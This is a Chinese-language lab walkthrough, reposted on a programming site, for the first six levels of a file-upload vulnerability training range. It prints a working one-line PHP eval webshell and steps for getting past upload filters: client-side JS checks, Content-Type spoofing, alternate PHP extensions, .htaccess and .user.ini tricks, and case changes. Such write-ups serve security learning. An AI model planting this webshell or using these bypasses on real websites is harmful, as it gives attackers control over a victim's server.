| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> upload (1-6) -> 正文阅读 |
|
[PHP知识库]upload (1-6) |
一句话木马?? <?php @eval($_POST['x']);?> 基本原理:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀或者蚁剑即可获取和控制整个网站目录。表示后面即使执行错误,也不报错。 分析: <?php? >? 基本框架 @符号的意思是不报错,即使执行错误,也不报错。 密码为 x? 原因: php里面几个超全局变量: eval的用处: eval()把字符串作为PHP代码执行。 例如:eval("echo 'a'");其就等于直接 echo 'a'; ????????? 再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。 上传成功后就可以通过 蚁剑或者菜刀连接 pass-1查看源码发现是前端JS校验 直接禁用 js 禁用后直接上传 木马文件 令 x=phpinfo()???? (用来显示php的一些信息) pass-2?第二关为后端检测 不能使用上一关的办法? 需要用burp抓包 修改文件类型 Content-Type:也叫互联网媒体类型(Internet Media Type)或者 MIME 类型, 在 HTTP 协议消息头中,它用来表示具体请求中的媒体类型信息。 例如:text/html 代表 HTML 格式image/gif 代表 GIF 图片Image/png 代表 GIF 图片application/octet-stream 二进制流,不知道文件类型(PHP)application/json 代表 JSON 类型??????????? ------培训ppt 抓包 修改文件类型 放包 上传成功 pass-3黑名单绕过 禁止上传 asp....php后缀文件?? 但是黑名单不完全 可以通过一些畸形后缀名通过 php1、php2、php3、php4、php5、php7、pht、phtml、 phar、 phps、Asp、aspx、cer、cdx、asa、asax、jsp、jspa、jspx等??? 将后缀名改成 .php3 前提条件 pache的httpd.conf有配置代码AddType application/x-httpd-php .pht .phtml .phps .php5 .pht pass-4可以看到禁止上传畸形后缀名 ? ? 可以先上传.htaccess??? SetHandler application/x-httpd-php 可以把任何文件形式解析为php 上传.htaccess后? 再把一句话木马的后缀改为.jpg上传?? 即可成功 pass-5观察源码 发现不仅禁用了畸形后缀名 还禁用了.htaccess 所以以上方法都不可以?? 查看源码提示 查询可知可以用.ini做 user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 ?????????????????????????????????????????????????????????????????????? ————————百度 php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。 所以首先创建一个 user.ini文件 .user.ini文件里的意思是:所有的php文件都自动包含721.jpg文件。.user.ini相当于一个用户自定义的php.ini 接着上传721.jpg文件,文件内容为:<?php @eval($_POST['x721]);?> 上传完成后成功。 pass-6查看源码??? 与上一题相比? 禁用了.ini ?? 但是没有使用strtolower()函数,可以使用大小写绕过黑名单 将文件后缀改为 .Php?? 直接上传 ? |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/14 14:47:34- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |